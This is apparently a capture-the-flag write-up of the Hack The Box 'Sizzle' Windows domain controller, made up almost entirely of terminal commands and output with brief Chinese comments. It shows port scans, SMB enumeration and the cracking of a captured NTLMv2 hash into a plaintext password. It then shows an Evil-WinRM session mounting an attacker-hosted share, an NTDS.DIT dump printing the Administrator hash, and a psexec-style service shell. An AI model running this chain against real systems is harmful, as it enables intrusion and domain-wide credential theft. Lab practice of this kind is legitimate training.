┌──(mikannse㉿kali)-[~/HTB/sizzle] └─$ sudo nmap --min-rate=10000 -p- 10.10.10.103 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 11:52 CST Nmap scan report for 10.10.10.103 Host is up (0.16s latency). Not shown: 65507 filtered tcp ports (no-response) PORT STATE SERVICE 21/tcp open ftp 53/tcp open domain 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 443/tcp open https 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 5986/tcp open wsmans 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49667/tcp open unknown 49670/tcp open unknown 49676/tcp open unknown 49692/tcp open unknown 49693/tcp open unknown 49695/tcp open unknown 49698/tcp open unknown 49713/tcp open unknown 49728/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 27.73 seconds
┌──(mikannse㉿kali)-[~/HTB/sizzle] └─$ sudo nmap -sT -sC -sV -O -p21,53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 10.10.10.103 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 11:56 CST Nmap scan report for 10.10.10.103 Host is up (0.075s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Site doesn't have a title (text/html). |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE 88/tcp filtered kerberos-sec 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 |_ssl-date: 2024-09-21T03:47:27+00:00; -10m48s from scanner time. 443/tcp open ssl/http Microsoft IIS httpd 10.0 | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 | tls-alpn: | h2 |_ http/1.1 |_ssl-date: 2024-09-21T03:47:27+00:00; -10m48s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap |_ssl-date: 2024-09-21T03:47:27+00:00; -10m48s from scanner time. | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 |_ssl-date: 2024-09-21T03:47:27+00:00; -10m48s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 |_ssl-date: 2024-09-21T03:47:27+00:00; -10m48s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2016 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -10m47s, deviation: 1s, median: -10m48s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-09-21T03:46:15 |_ start_date: 2024-09-21T03:38:30 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 142.29 seconds
Enum
┌──(mikannse㉿kali)-[~/HTB/sizzle] └─$ dig any htb.local @10.10.10.103
; <<>> DiG 9.20.1-1-Debian <<>> any htb.local @10.10.10.103 ;; global options: +cmd ;; Got answer: ;; WARNING: .local is reserved for Multicast DNS ;; You are currently testing what happens when an mDNS query is leaked to DNS ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2718 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 2 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ; COOKIE: 9c09357f9974279c (echoed) ;; QUESTION SECTION: ;htb.local. IN ANY ;; ANSWER SECTION: htb.local. 600 IN A 10.10.10.103 htb.local. 3600 IN NS sizzle.htb.local. htb.local. 3600 IN SOA sizzle.htb.local. hostmaster.htb.local. 193 900 600 86400 3600 htb.local. 600 IN AAAA dead:beef::ad75:a077:89c9:f15d ;; ADDITIONAL SECTION: sizzle.htb.local. 3600 IN A 10.10.10.103 ;; Query time: 71 msec ;; SERVER: 10.10.10.103#53(10.10.10.103) (TCP) ;; WHEN: Sat Sep 21 12:02:33 CST 2024 ;; MSG SIZE rcvd: 178
添加htb.local,sizzle.htb.local,hostmaster.htb.local
ftp能够匿名登录，但是里面没有内容
┌──(mikannse㉿kali)-[~/HTB/sizzle] └─$ smbmap -H 10.10.10.103 -u guest <SNIP> [+] IP: 10.10.10.103:445 Name: htb.local Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share CertEnroll NO ACCESS Active Directory Certificate Services share Department Shares READ ONLY IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share Operations NO ACCESS SYSVOL NO ACCESS Logon server share
┌──(mikannse㉿kali)-[~/HTB/sizzle] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Ashare1972 (amanda) 1g 0:00:00:04 DONE (2024-09-21 16:36) 0.2173g/s 2482Kp/s 2482Kc/s 2482KC/s Ashia12..Arief&Siti Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
得到:amanda:Ashare1972,但是不能用于winrm登录,返回:
Error: An error of type WinRM::WinRMHTTPTransportError happened, message is Unable to parse authorization header. Headers: {"Server"=>"Microsoft-HTTPAPI/2.0", "Date"=>"Sat, 21 Sep 2024 08:28:03 GMT", "Connection"=>"close", "Content-Length"=>"0"} Body: (401). Error: Exiting with code 1
┌──(mikannse㉿kali)-[~/HTB/sizzle] └─$ openssl genrsa -des3 -out amanda.key 2048 Enter PEM pass phrase: Verifying - Enter PEM pass phrase:
┌──(mikannse㉿kali)-[~/HTB/sizzle] └─$ openssl req -new -key amanda.key -out amanda.csr Enter pass phrase for amanda.key: You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []: Email Address []:
Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []:
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> net use \\10.10.14.15\share /u:kali kali Enter PEM pass phrase: The command completed successfully.
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267::: <SNIP>
[*] Requesting shares on 10.10.10.103..... [*] Found writable share ADMIN$ [*] Uploading file YdQqMrRs.exe [*] Opening SVCManager on 10.10.10.103..... [*] Creating service CATK on 10.10.10.103..... [*] Starting service CATK..... [!] Press helpfor extra shell commands Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.
